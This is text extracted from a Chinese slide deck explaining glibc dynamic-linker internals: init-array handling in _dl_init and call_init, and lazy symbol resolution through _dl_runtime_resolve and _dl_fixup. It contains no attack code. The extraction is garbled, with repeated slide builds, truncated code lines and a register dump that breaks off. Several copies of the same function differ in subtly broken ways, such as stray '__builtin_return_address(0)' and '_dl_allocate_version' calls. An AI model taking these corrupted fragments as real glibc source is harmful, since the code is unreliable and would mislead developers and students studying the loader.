                                         r39: 0x7ffff7fd96a2 → 0x555555554000 ← 0x10102464c457f
                                         r40: 0x7ffff7fd96a6 → 0x555555554000 ← 0x10102464c457f
                                         r41: 0x7ffff7fd96a8 → 0x555555554000 ← 0x10102464c457f
                                         r42: 0x7ffff7fd96a9 → 0x555555554000 ← 0x10102464c457f
                                         r43: 0x7ffff7fd96aa → 0x555555554000 ← 0x10102464c457f
                                         r44: 0x7ffff7fd96ab → 0x555555554000 ← 0x10102464c457f
                                         r45: 0x7ffff7fd96ac → 0x555555554000 ← 0x10102464c457f
                                         r46: 0x7ffff7fd96ad → 0x555555554000 ← 0x10102464c457f
                                         r47: 0x7ffff7fd96ae → 0x555555554000 ← 0x10102464c457f
                                         r48: 0x7ffff7fd96af → 0x555555554000 ← 0x10102464c457f
                                         r49: 0x7ffff7fd96b0 → 0x555555554000 ← 0x10102464c457f
                                         r50: 0x7ffff7fd96b1 → 0x555555554000 ← 0x10102464c457f
                                         r51: 0x7ffff7fd96b2 → 0x555555554000 ← 0x10102464c457f
                                         r52: 0x7ffff7fd96b3 → 0x555555554000 ← 0x10102464c457f
                                         r53: 0x7ffff7fd96b4 → 0x555555554000 ← 0x10102464c457f
                                         r54: 0x7ffff7fd96b5 → 0x555555554000 ← 0x10102464c457f
                                         r55: 0x7ffff7fd96b6 → 0x555555554000 ← 0x10102464c457f
                                         r56: 0x7ffff7fd96b7 → 0x555555554000 ← 0x10102464c457f
                                         r57: 0x7ffff7fd96b8 → 0x555555554000 ← 0x10102464c457f
                                         r58: 0x7ffff7fd96b9 → 0x555555554000 ← 0x10102464c457f
                                         r59: 0x7ffff7fd96ba → 0x555555554000 ← 0x10102464c457f
                                         r60: 0x7ffff7fd96bb → 0x555555554000 ← 0x10102464c457f
                                         r61: 0x7ffff7fd96bc → 0x555555554000 ← 0x10102464c457f
                                         r62: 0x7ffff7fd96bd → 0x555555554000 ← 0x10102464c457f
                                         r63: 0x7ffff7fd96be → 0x555555554000 ← 0x10102464c457f
                                         r64: 0x7ffff7fd96bf → 0x555555554000 ← 0x10102464c457f
                                         r65: 0x7ffff7fd96c0 → 0x555555554000 ← 0x10102464c457f
                                         r66: 0x7ffff7fd96c1 → 0x555555554000 ← 0x10102464c457f
                                         r67: 0x7ffff7fd96c2 → 0x555555554000 ← 0x10102464c457f
                                         r68: 0x7ffff7fd96c3 → 0x555555554000 ← 0x10102464c457f
                                         r69: 0x7ffff7fd96c4 → 0x555555554000 ← 0x10102464c457f
                                         r70: 0x7ffff7fd96c5 → 0x555555554000 ← 0x10102464c457f
                                         r71: 0x7ffff7fd96c6 → 0x555555554000 ← 0x10102464c457f
                                         r72: 0x7ffff7fd96c7 → 0x555555554000 ← 0x10102464c457f
                                         r73: 0x7ffff7fd96c8 → 0x555555554000 ← 0x10102464c457f
                                         r74: 0x7ffff7fd96c9 → 0x555555554000 ← 0x10102464c457f
                                         r75: 0x7ffff7fd96ca → 0x555555554000 ← 0x10102464c457f
                                         r76: 0x7ffff7fd96cb → 0x555555554000 ← 0x10102464c457f
                                         r77: 0x7ffff7fd96cc → 0x555555554000 ← 0x10102464c457f
                                         r78: 0x7ffff7fd96cd → 0x555555554000 ← 0x10102464c457f
                                         r79: 0x7ffff7fd96ce → 0x555555554000 ← 0x10102464c457f
                                         r80: 0x7ffff7fd96cf → 0x555555554000 ← 0x10102464c457f
                                         r81: 0x7ffff7fd96d0 → 0x555555554000 ← 0x10102464c457f
                                         r82: 0x7ffff7fd96d1 → 0x555555554000 ← 0x10102464c457f
                                         r83: 0x7ffff7fd96d2 → 0x555555554000 ← 0x10102464c457f
                                         r84: 0x7ffff7fd96d3 → 0x555555554000 ← 0x10102464c457f
                                         r85: 0x7ffff7fd96d4 → 0x555555554000 ← 0x10102464c457f
                                         r86: 0x7ffff7fd96d5 → 0x555555554000 ← 0x10102464c457f
                                         r87: 0x7ffff7fd96d6 → 0x555555554000 ← 0x10102464c457f
                                         r88: 0x7ffff7fd96d7 → 0x555555554000 ← 0x10102464c457f
                                         r89: 0x7ffff7fd96d8 → 0x555555554000 ← 0x10102464c457f
                                         r90: 0x7ffff7fd96d9 → 0x555555554000 ← 0x10102464c457f
                                         r91: 0x7ffff7fd96da → 0x555555554000 ← 0x10102464c457f
                                         r92: 0x7ffff7fd96db → 0x555555554000 ← 0x10102464c457f
                                         r93: 0x7ffff7fd96dc → 0x555555554000 ← 0x10102464c457f
                                         r94: 0x7ffff7fd96dd → 0x555555554000 ← 0x10102464c457f
                                         r95: 0x7ffff7fd96de → 0x555555554000 ← 0x10102464c457f
                                         r96: 0x7ffff7fd96df → 0x555555554000 ← 0x10102464c457f
                                         r97: 0x7ffff7fd96e0 → 0x555555554000 ← 0x10102464c457f
                                         r98: 0x7ffff7fd96e1 → 0x555555554000 ← 0x10102464c457f
                                         r99: 0x7ffff7fd96e2 → 0x555555554000 ← 0x10102464c457f
                                         r100: 0x7ffff7fd96e3 → 0x555555554000 ← 0x10102464c457f
                                         r101: 0x7ffff7fd96e4 → 0x555555554000 ← 0x10102464c457f
                                         r102: 0x7ffff7fd96e5 → 0x555555554000 ← 0x10102464c457f
                                         r103: 0x7ffff7fd96e6 → 0x555555554000 ← 0x10102464c457f
                                         r104: 0x7ffff7fd96e7 → 0x555555554000 ← 0x10102464c457f
                                         r105: 0x7ffff7fd96e8 → 0x555555554000 ← 0x10102464c457f
                                         r106: 0x7ffff7fd96e9 → 0x555555554000 ← 0x10102464c457f
                                         r107: 0x7ffff7fd96ea → 0x555555554000 ← 0x10102464c457f
                                         r108: 0x7ffff7fd96eb → 0x555555554000 ← 0x10102464c457f
                                         r109: 0x7ffff7fd96ec → 0x555555554000 ← 0x10102464c457f
                                         r110: 0x7ffff7fd96ed → 0x555555554000 ← 0x10102464c457f
                                         r111: 0x7ffff7fd96ee → 0x555555554000 ← 0x10102464c457f
                                         r112: 0x7ffff7fd96ef → 0x555555554000 ← 0x10102464c457f
                                         r113: 0x7ffff7fd96f0 → 0x555555554000 ← 0x10102464c457f
                                         r114: 0x7ffff7fd96f1 → 0x555555554000 ← 0x10102464c457f
                                         r115: 0x7ffff7fd96f2 → 0x555555554000 ← 0x10102464c457f
                                         r116: 0x7ffff7fd96f3 → 0x555555554000 ← 0x10102464c457f
                                         r117: 0x7ffff7fd96f4 → 0x555555554000 ← 0x10102464c457f
                                         r118: 0x7ffff7fd96f5 → 0x555555554000 ← 0x10102464c457f
                                         r119: 0x7ffff7fd96f6 → 0x555555554000 ← 0x10102464c457f
                                         r120: 0x7ffff7fd96f7 → 0x555555554000 ← 0x10102464c457f
                                         r121: 0x7ffff7fd96f8 → 0x555555554000 ← 0x10102464c457f
                                         r122: 0x7ffff7fd96f9 → 0x555555554000 ← 0x10102464c457f
                                         r123: 0x7ffff7fd96fa → 0x555555554000 ← 0x10102464c457f
                                         r124: 0x7ffff7fd96fb → 0x555555554000 ← 0x10102464c457f
                                         r125: 0x7ffff7fd96fc → 0x555555554000 ← 0x10102464c457f
                                         r126: 0x7ffff7fd96fd → 0x555555554000 ← 0x10102464c457f
                                         r127: 0x7ffff7fd96fe → 0x555555554000 ← 0x10102464c457f
                                         r128: 0x7ffff7fd96ff → 0x555555554000 ← 0x10102464c457f
                                         r129: 0x7ffff7fd96f0 → 0x555555554000 ← 0x10102464c457f
                                         r130: 0x7ffff7fd96f1 → 0x555555554000 ← 0x10102464c457f
                                         r131: 0x7ffff7fd96f2 → 0x555555554000 ← 0x10102464c457f
                                         r132: 0x7ffff7fd96f3 → 0x555555554000 ← 0x10102464c457f
                                         r133: 0x7ffff7fd96f4 → 0x555555554000 ← 0x10102464c457f
                                         r134: 0x7ffff7fd96f5 → 0x555555554000 ← 0x10102464c457f
                                         r135: 0x7ffff7fd96f6 → 0x555555554000 ← 0x10102464c457f
                                         r136: 0x7ffff7fd96f7 → 0x555555554000 ← 0x10102464c457f
                                         r137: 0x7ffff7fd96f8 → 0x555555554000 ← 0x10102464c457f
                                         r138: 0x7ffff7fd96f9 → 0x555555554000 ← 0x10102464c457f
                                         r139: 0x7ffff7fd96fa → 0x555555554000 ← 0x10102464c457f
                                         r140: 0x7ffff7fd96fb → 0x555555554000 ← 0x10102464c457f
                                         r141: 0x7ffff7fd96fc → 0x555555554000 ← 0x10102464c457f
                                         r142: 0x7ffff7fd96fd → 0x
```

\$ DL Start



\$ DL Start

_dl_init

- ▶ 呼叫 preinit array 所儲存的 function pointer
- ▶ 呼叫每個 object 的 init function

```
u1f383@u1f383:/
```

```
$
```

```
void _dl_init(struct link_map *main_map, int argc, char **argv, char **env)
{
    ElfW(Dyn) *preinit_array = main_map->l_info[DT_PREINIT_ARRAY];
    ElfW(Dyn) *preinit_array_size = main_map->l_info[DT_PREINIT_ARRAYSZ];
    unsigned int i;

    if (... /* preinit array */ )
    {
        ElfW(Addr) * addrs;
        unsigned int cnt;
        addrs = (ElfW(Addr) *) (preinit_array->d_un.d_ptr + main_map->l_addr);
        for (cnt = 0; cnt < i; ++cnt)
            ((init_t)addrs[cnt])(argc, argv, env);
    }

    i = main_map->l_searchlist.r_nlist;
    while (i-- > 0)
        call_init(main_map->l_initfini[i], argc, argv, env);
    _dl_starting_up = 0;
}
```

\$ DL Start

_dl_init

- ▶ 呼叫 preinit array 所儲存的 function pointer
- ▶ 呼叫每個 object 的 init function

```
u1f383@u1f383:/
```

```
$
```

```
void _dl_init(struct link_map *main_map, int argc, char **argv, char **env)
{
    ElfW(Dyn) *preinit_array = main_map->l_info[DT_PREINIT_ARRAY];
    ElfW(Dyn) *preinit_array_size = main_map->l_info[DT_PREINIT_ARRAYSZ];
    unsigned int i;

    if (... /* preinit array */ )
    {
        ElfW(Addr) * addrs;
        unsigned int cnt;
        addrs = (ElfW(Addr) *) (preinit_array->d_un.d_ptr + main_map->l_addr);
        for (cnt = 0; cnt < i; ++cnt)
            ((init_t)addrs[cnt])(argc, argv, env);
    }

    i = main_map->l_searchlist_r.nlist;
    while (i--)
        call_in
    _dl_startin
}
```

如果 preinit array 不為 NULL，代表
需要呼叫 preinit function

\$ DL Start

_dl_init

- ▶ 呼叫 preinit array 所儲存的 function pointer
- ▶ 呼叫每個 object 的 init function

```
u1f383@u1f383:/
```

```
$
```

```
void _dl_init(struct link_map *main_map, int argc, char **argv, char **env)
{
    ElfW(Dyn) *preinit_array = main_map->l_info[DT_PREINIT_ARRAY];
    ElfW(Dyn) *preinit_array_size = main_map->l_info[DT_PREINIT_ARRAYSZ];
    unsigned int i;

    if (... /* preinit array */ )
    {
        ElfW(Addr) * addrs;
        unsigned int cnt;
        addrs = (ElfW(Addr) *) (preinit_array->d_un.d_ptr + main_map->l_addr);
        for (cnt = 0; cnt < i; ++cnt)
            ((init_t)addrs[cnt])(argc, argv, env);
    }

    i = main_map->l_searchlist.r_nlist;
    while (i-- > 0)
        call_init(main_map->l_initfini[i], argc, argv, env);
    _dl_starting_up = 0;
}
```

呼叫 shared object 自己的 init
function 與 init function array

\$ DL Start

call_init

- ▶ Mark 成 init 完成，跳過 executable 自己
- ▶ 執行 DT_INIT function
- ▶ 執行 DT_INIT_ARRAY 儲存的 function entry



The screenshot shows a terminal window with the title 'u1f383@u1f383:/'. The command '\$' is entered at the prompt. The code displayed is:

```
static void
call_init(struct link_map *l, int argc, char **argv, char **env)
{
    if (l->l_init_called)
        return;
    l->l_init_called = 1;

    if (_builtin_expect(l->l_name[0], 'a') == '\0' && l->l_type == lt_executable)
        return;

    if (l->l_info[DT_INIT] == NULL &&
        _builtin_expect(l->l_info[DT_INIT_ARRAY] == NULL, 1))
        return;

    if (l->l_info[DT_INIT] != NULL)
        DL_CALL_DT_INIT(l, l->l_addr +
                        l->l_info[DT_INIT]->d_un.d_ptr, argc, argv, env);

    ElfW(Dyn) *init_array = l->l_info[DT_INIT_ARRAY];
    if (init_array != NULL)
    {
        unsigned int j;
        unsigned int jm;
        ElfW(Addr) * addrs;

        jm = l->l_info[DT_INIT_ARRAYSZ]->d_un.d_val / sizeof(ElfW(Addr));
        addrs = (ElfW(Addr) *) (init_array->d_un.d_ptr + l->l_addr);
        for (j = 0; j < jm; ++j)
            ((init_t)addrs[j])(argc, argv, env);
    }
}
```

\$ DL Start

call_init

- ▶ Mark 成 init 完成，跳過 executable 自己
- ▶ 執行 DT_INIT function
- ▶ 執行 DT_INIT_ARRAY 儲存的 function entry

```
u1f383@u1f383:/
```

```
$ |
```

```
static void
call_init(struct link_map *l, int argc, char **argv, char **env)
{
    if (l->l_init_called)
        return;
    l->l_init_called = 1;

    if (__builtin_expect(l->l_name[0], 'a') == '\0' && l->l_type == lt_executable)
        return;

    if (l->l_info[DT_INIT] != NULL)
        __builtin_return_address(0);
    if (l->l_info[DT_INIT_ARRAY] != NULL)
        DL_CALL_DYN_FUNC((void *)l->l_info[DT_INIT] ->d_un.d_ptr, argc, argv, env);

    ElfW(Dyn) *init_array = l->l_info[DT_INIT_ARRAY];
    if (init_array != NULL)
    {
        unsigned int j;
        unsigned int jm;
        ElfW(Addr) * addrs;

        jm = l->l_info[DT_INIT_ARRAYSZ]->d_un.d_val / sizeof(ElfW(Addr));
        addrs = (ElfW(Addr) *) (init_array->d_un.d_ptr + l->l_addr);
        for (j = 0; j < jm; ++j)
            ((init_t)addrs[j])(argc, argv, env);
    }
}
```

Executable 的 init function 在
__libc_csu_init 時才會呼叫

\$ DL Start

call_init

- ▶ Mark 成 init 完成，跳過 executable 自己
- ▶ 執行 DT_INIT function
- ▶ 執行 DT_INIT_ARRAY 儲存的 function entry



```
u1f383@u1f383:~$ cat /tmp/call_init.c
static void
call_init(struct link_map *l, int argc, char **argv, char **env)
{
    if (l->l_init_called)
        return;
    l->l_init_called = 1;

    if (_builtin_expect(l->l_name[0], 'a') == '\0' && l->l_type == lt_executable)
        return;

    if (l->l_info[DT_INIT] == NULL &&
        _builtin_expect(l->l_info[DT_INIT_ARRAY] == NULL, 1))
        return;

    if (l->l_info[DT_INIT] != NULL)
        DL_CALL_DT_INIT(l, l->l_addr +
                        l->l_info[DT_INIT]->d_un.d_ptr, argc, argv, env);

ElfW(Dyn) :
if (init_a
{
    unsigned int j;
    unsigned int jm;
    ElfW(Addr) * addrs;

    jm = l->l_info[DT_INIT_ARRAYSZ]->d_un.d_val / sizeof(ElfW(Addr));
    addrs = (ElfW(Addr) *) (init_array->d_un.d_ptr + l->l_addr);
    for (j = 0; j < jm; ++j)
        ((init_t)addrs[j])(argc, argv, env);
}
```

呼叫 DT_INIT 保存的 function

\$ DL Start

call_init

- ▶ Mark 成 init 完成，跳過 executable 自己
- ▶ 執行 DT_INIT function
- ▶ 執行 DT_INIT_ARRAY 儲存的 function entry

```
u1f383@u1f383:/
```

```
$ |
```

```
static void
call_init(struct link_map *l, int argc, char **argv, char **env)
{
    if (l->l_init_called)
        return;
    l->l_init_called = 1;

    if (_builtin_expect(l->l_name[0], 'a') == '\0' && l->l_type == lt_executable)
        return;

    if (l->l_info[DT_INIT] == NULL &&
        _builtin_expect(l->l_info[DT_INIT_ARRAY] == NULL, 1))
        return;

    if (l->l_info[DT_INIT] != NULL)
        DL_CALL_DT_INIT(l, l->l_addr +
                        l->l_info[DT_INIT]->d_un.d_ptr, argc, argv, env);

    ElfW(Dyn) *init_array = l->l_info[DT_INIT_ARRAY];
    if (init_array != NULL)
    {
        unsigned int j;
        unsigned int jm;
        ElfW(Addr) * addrs;

        jm = l->l_info[DT_INIT_ARRAYSZ]->d_un.d_val / sizeof(ElfW(Addr));
        addrs = (ElfW(Addr) *) (init_array->d_un.d_ptr + l->l_addr);
        for (j = 0; j < jm; ++j)
            ((init_t)addrs[j])(argc, argv, env);
    }
}
```


呼叫 DT_INIT_ARRAY 保存的
function entry




DL Ing

\$ DL Ing

- ▶ 當程式使用 lazy binding 的方式去解析 symbol 時，會透過 dl 去處理解析 function 的行為，整個過程如下




\$ DL Ing



\$ DL Ing

_dl_runtime_resolve

- ▶ 儲存 resolve 前的狀態
- ▶ Resolve function
- ▶ 恢復 resolve 前的狀態
- ▶ Call function



The screenshot shows a debugger window with the title bar "u1f383@u1f383:/". The assembly code listed is:

```
_dl_runtime_resolve:  
    pushq %rbx  
    mov %RSP_LP, %RBX_LP  
    and $-STATE_SAVE_ALIGNMENT, %RSP_LP  
    ...  
    movq %rax, REGISTER_SAVE_RAX(%rsp)  
    ... # 各種 regs  
    movq %r9, REGISTER_SAVE_R9(%rsp)  
    movl $STATE_SAVE_MASK, %eax  
    xorl %edx, %edx  
    movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 2)(%rsp)  
    ... # 2~7  
    movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 7)(%rsp)  
    xsavec STATE_SAVE_OFFSET(%rsp)  
    mov (LOCAL_STORAGE_AREA + 8)(%BASE), %RSI_LP  
    mov LOCAL_STORAGE_AREA(%BASE), %RDI_LP  
    call _dl_fixup  
    mov %RAX_LP, %R11_LP  
    movl $STATE_SAVE_MASK, %eax  
    xorl %edx, %edx  
    xrstor STATE_SAVE_OFFSET(%rsp)  
    movq REGISTER_SAVE_R9(%rsp), %r9  
    ... # 各種 regs  
    movq REGISTER_SAVE_RAX(%rsp), %rax  
    mov %RBX_LP, %RSP_LP  
    movq (%rsp), %rbx  
    add $(LOCAL_STORAGE_AREA + 16), %RSP_LP  
    jmp *%r11
```

\$ DL Ing

_dl_runtime_resolve

- ▶ 儲存 resolve 前的狀態
- ▶ Resolve function
- ▶ 恢復 resolve 前的狀態
- ▶ Call function


```
u1f383@u1f383:~$ | _dl_runtime_resolve:  
pushq %rbx  
mov %RSP_LP, %RBX_LP  
and $-STATE_SAVE_ALIGNMENT, %RSP_LP  
...  
movq %rax, REGISTER_SAVE_RAX(%rsp)  
... # 各種 regs  
movq %r9, REGISTER_SAVE_R9(%rsp)  
movl $STATE_SAVE_MASK, %eax  
xorl %edx, %edx  
movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 2)(%rsp)  
... # 2~7  
movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 7)(%rsp)  
xsavec STATE_SAVE_OFFSET(%rsp)  
mov (LOCAL_STORAGE_AREA + 8)(%BASE), %RSI_LP  
mov LOCAL_STORAGE_AREA(%BASE), %RDI_LP  
call _dl_fixup  
mov %R  
movl $...  
xorl %...  
xrstor STATE_SAVE_OFFSET(%rsp)  
movq REGISTER_SAVE_R9(%rsp), %r9  
... # 各種 regs  
movq REGISTER_SAVE_RAX(%rsp), %rax  
mov %RBX_LP, %RSP_LP  
movq (%rsp), %rbx  
add $(LOCAL_STORAGE_AREA + 16), %RSP_LP  
jmp *%r11
```

保存一堆 register

\$ DL Ing

_dl_runtime_resolve

- ▶ 儲存 resolve 前的狀態
- ▶ Resolve function
- ▶ 恢復 resolve 前的狀態
- ▶ Call function




```
u1f383@u1f383:~$ ||_dl_runtime_resolve:  
pushq %rbx  
mov %RSP_LP, %RBX_LP  
and $-STATE_SAVE_ALIGNMENT, %RSP_LP  
...  
movq %rax, REGISTER_SAVE_RAX(%rsp)  
... # 各種 regs  
movq %r9, REGISTER_SAVE_R9(%rsp)  
movl $STATE_SAVE_MASK, %eax  
xorl %edx, %edx  
movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 2)(%rsp)  
... # 2~7  
movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 7)(%rsp)  
xsavec STATE_SAVE_OFFSET(%rsp)  
mov (LOCAL_STORAGE_AREA + 8)(%BASE), %RSI_LP  
mov LOCAL_STORAGE_ARFA(%BASE), %RDT_LP  
call _dl_fixup  
mov %RAX_LP, %R11_LP  
movl $0, %RDX_LP  
xorl %edx, %edx  
xrstor  
movq REGISTER_SAVE_R9(%rsp), %r9  
... # 各種 regs  
movq REGISTER_SAVE_RAX(%rsp), %rax  
mov %RBX_LP, %RSP_LP  
movq (%rsp), %rbx  
add $(LOCAL_STORAGE_AREA + 16), %RSP_LP  
jmp *%r11
```

解析 function

\$ DL Ing

_dl_runtime_resolve

- ▶ 儲存 resolve 前的狀態
- ▶ Resolve function
- ▶ 恢復 resolve 前的狀態
- ▶ Call function




```
u1f383@u1f383:~$ ||_dl_runtime_resolve:  
pushq %rbx  
mov %RSP_LP, %RBX_LP  
and $-STATE_SAVE_ALIGNMENT, %RSP_LP  
...  
movq %rax, REGISTER_SAVE_RAX(%rsp)  
... # 各種 regs  
movq %r9, REGISTER_SAVE_R9(%rsp)  
movl $STATE_SAVE_MASK, %eax  
xorl %edx, %edx  
movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 2)(%rsp)  
... # 2~7  
movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 7)(%rsp)  
xsavec STATE_SAVE_OFFSET(%rsp)  
mov (LOCAL_STORAGE_AREA + 8)(%BASE), %RSI_LP  
mov LOCAL_STORAGE_AREA(%BASE), %RDI_LP  
call dl_fixup  
mov %RAX_LP, %R11_LP  
movl $STATE_SAVE_MASK, %eax  
xorl %edx, %edx  
xrstor STATE_SAVE_OFFSET(%rsp)  
movq REGISTER_SAVE_R9(%rsp), %r9  
... # 各種 regs  
movq REGISTER_SAVE_RAX(%rsp), %rax  
mov %RBX_LP, %RSP_LP  
movq (%rsp), %rbx  
add $(LOCAL_STORAGE_AREA + 16), %RSP_LP  
jmp *%r11
```

恢復 resolve 前的 register

\$ DL Ing

_dl_runtime_resolve


- ▶ 儲存 resolve 前的狀態
- ▶ Resolve function
- ▶ 恢復 resolve 前的狀態
- ▶ Call function



```
u1f383@u1f383:~$ ||_dl_runtime_resolve:  
pushq %rbx  
mov %RSP_LP, %RBX_LP  
and $-STATE_SAVE_ALIGNMENT, %RSP_LP  
...  
movq %rax, REGISTER_SAVE_RAX(%rsp)  
... # 各種 regs  
movq %r9, REGISTER_SAVE_R9(%rsp)  
movl $STATE_SAVE_MASK, %eax  
xorl %edx, %edx  
movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 2)(%rsp)  
... # 2~7  
movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 7)(%rsp)  
xsavec STATE_SAVE_OFFSET(%rsp)  
mov (LOCAL_STORAGE_AREA + 8)(%BASE), %RSI_LP  
mov LOCAL_STORAGE_AREA(%BASE), %RDI_LP  
call _dl_fixup  
mov %RAX_LP, %R11_LP  
movl $STATE_SAVE_MASK, %eax  
xorl %edx, %edx  
xrstor STATE_SAVE_OFFSET(%rsp)  
movq REGISTER_SAVE_R9(%rsp), %r9  
... # 各種 regs  
movq REGISTER_SAVE_RAX(%rsp), %rax  
mov %RBX_LP, %RSP_LP  
movq (%rsp), %rbx  
add $(LOCAL_STORAGE_AREA + 16), %RSP_LP  
jmp *%r11
```

跳到解析到的 function address

\$ DL Ing



\$ DL Ing

_dl_fixup

► 根據 link_map->l_info 找出 symbol 的：

⦿ Symbol entry


⦿ String entry

⦿ Relocation entry

⦿ Relocation address

► 解析 symbol

► 填到 GOT 當中



```
$ DL_FIXUP_VALUE_TYPE
$ _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);
    const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);
    const uintptr_t pltgot = (uintptr_t)D_PTR(l, l_info[DT_PLTGOT]);
    const PLTREL *const reloc = (const void *)D_PTR(l, l_info[DT_JMPREL]) +
        reloc_offset(pltgot, reloc_arg);
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
    const ElfW(Sym) *refsym = sym;
    void *const rel_addr = (void *) (l->l_addr + reloc->r_offset);
    lookup_t result;
    DL_FIXUP_VALUE_TYPE value;

    if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
    {
        const struct r_found_version *version = NULL;
        if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
        {
            const ElfW(Half) *vernum =
                (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
            ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
            version = &l->l_versions[ndx];
            if (version->hash == 0)
                version = NULL;
        }
        result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
                                     version, ELF_RTYPE_CLASS_PLT, flags, NULL);
        value = DL_FIXUP_MAKE_VALUE(result,
                                    SYMBOL_ADDRESS(result, sym, false));
    }
    else
    {
        value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS(l, sym, true));
        result = l;
    }
    value = elf_machine_plt_value(l, reloc, value);
    return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);
}
```

\$ DL Ing

_dl_fixup

► 根據 link_map->l_info 找出 symbol 的：

⦿ Symbol entry

⦿ String entry

⦿ Relocation entry

⦿ Relocation address

► 解析 symbol

► 填到 GOT 當中

```
u1f383@u1f383:~$ DL_FIXUP_VALUE_TYPE  
$ _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)  
{  
    const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);  
    const char *const strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);  
    const uintptr_t pltgot = (uintptr_t)D_PTR(l, l_info[DT_PLTGOT]);  
    const PLTREL *const reloc = (const void *)D_PTR(l, l_info[DT_JMPREL]) +  
        reloc_offset(pltgot, reloc_arg);  
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];  
    const ElfW(Sym) *const vnum = &sym->st_value;  
    void lookDL_F  
    if (  
    {  
        const struct _version *version = NULL;  
        if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)  
        {  
            const ElfW(Half) *vernum =  
                (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);  
            ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;  
            version = &l->l_versions[ndx];  
            if (version->hash == 0)  
                version = NULL;  
        }  
        result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,  
            version, ELF_RTYPE_CLASS_PLT, flags, NULL);  
        value = DL_FIXUP_MAKE_VALUE(result,  
            SYMBOL_ADDRESS(result, sym, false));  
    }  
    else  
    {  
        value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS(l, sym, true));  
        result = l;  
    }  
    value = elf_machine_plt_value(l, reloc, value);  
    return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);  
}
```

Symbol table 從 l_info 拿，第幾個 symbol 從 relocation entry 拿 (Elf64_Rela)

\$ DL Ing

_dl_fixup

► 根據 link_map->l_info 找出 symbol 的：

- ⦿ Symbol entry
- ⦿ String entry
- ⦿ Relocation entry
- ⦿ Relocation address

► 解析 symbol

► 填到 GOT 當中

```
$ DL_FIXUP_VALUE_TYPE
$ _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);
    const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);
    const uintptr_t pltgot = (uintptr_t)D_PTR(l, l_info[DT_PLTGOT]);
    const PLTREL *const reloc = (const void *)D_PTR(l, l_info[DT_JMPREL]) +
        reloc_offset(pltgot, reloc_arg);
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
    const ElfW(Sym) *refsym = sym;
    void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
    lookup_t result;
    DL_FIXUP_VALUE_TYPE value;

    if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
    {
        const struct r_found_version *version = NULL;
        if (!version)
            version = _dl_allocate_version(sym, l, &version);
        else
            version = NULL;
        result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
            version, ELF_RTYPE_CLASS_PLT, flags, NULL);
        value = DL_FIXUP_MAKE_VALUE(result,
            SYMBOL_ADDRESS(result, sym, false));
    }
    else
    {
        value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS(l, sym, true));
        result = l;
    }
    value = elf_machine_plt_value(l, reloc, value);
    return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);
}
```

String table 從 l_info 拿，第幾個 string 從 symbol entry 拿 (Elf64_Sym)

\$ DL Ing

_dl_fixup

► 根據 link_map->l_info 找出 symbol 的：

- ⦿ Symbol entry
- ⦿ String entry
- ⦿ Relocation entry
- ⦿ Relocation address

► 解析 symbol

► 填到 GOT 當中

```
$ DL_FIXUP_VALUE_TYPE
$ _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);
    const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);
    const uintptr_t pltgot = (uintptr_t)D_PTR(l, l_info[DT_PLTGOT]);
    const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) +
                                                reloc_offset(pltgot, reloc_arg));
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
    const ElfW(Half) *vernum =
        (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
    ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0xffff;
    void *const result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
                                             version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    value = DL_FIXUP_MAKE_VALUE(result,
                                 SYMBOL_ADDRESS(result, sym, false));
}
else
{
    value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS(l, sym, true));
    result = l;
}
value = elf_machine_plt_value(l, reloc, value);
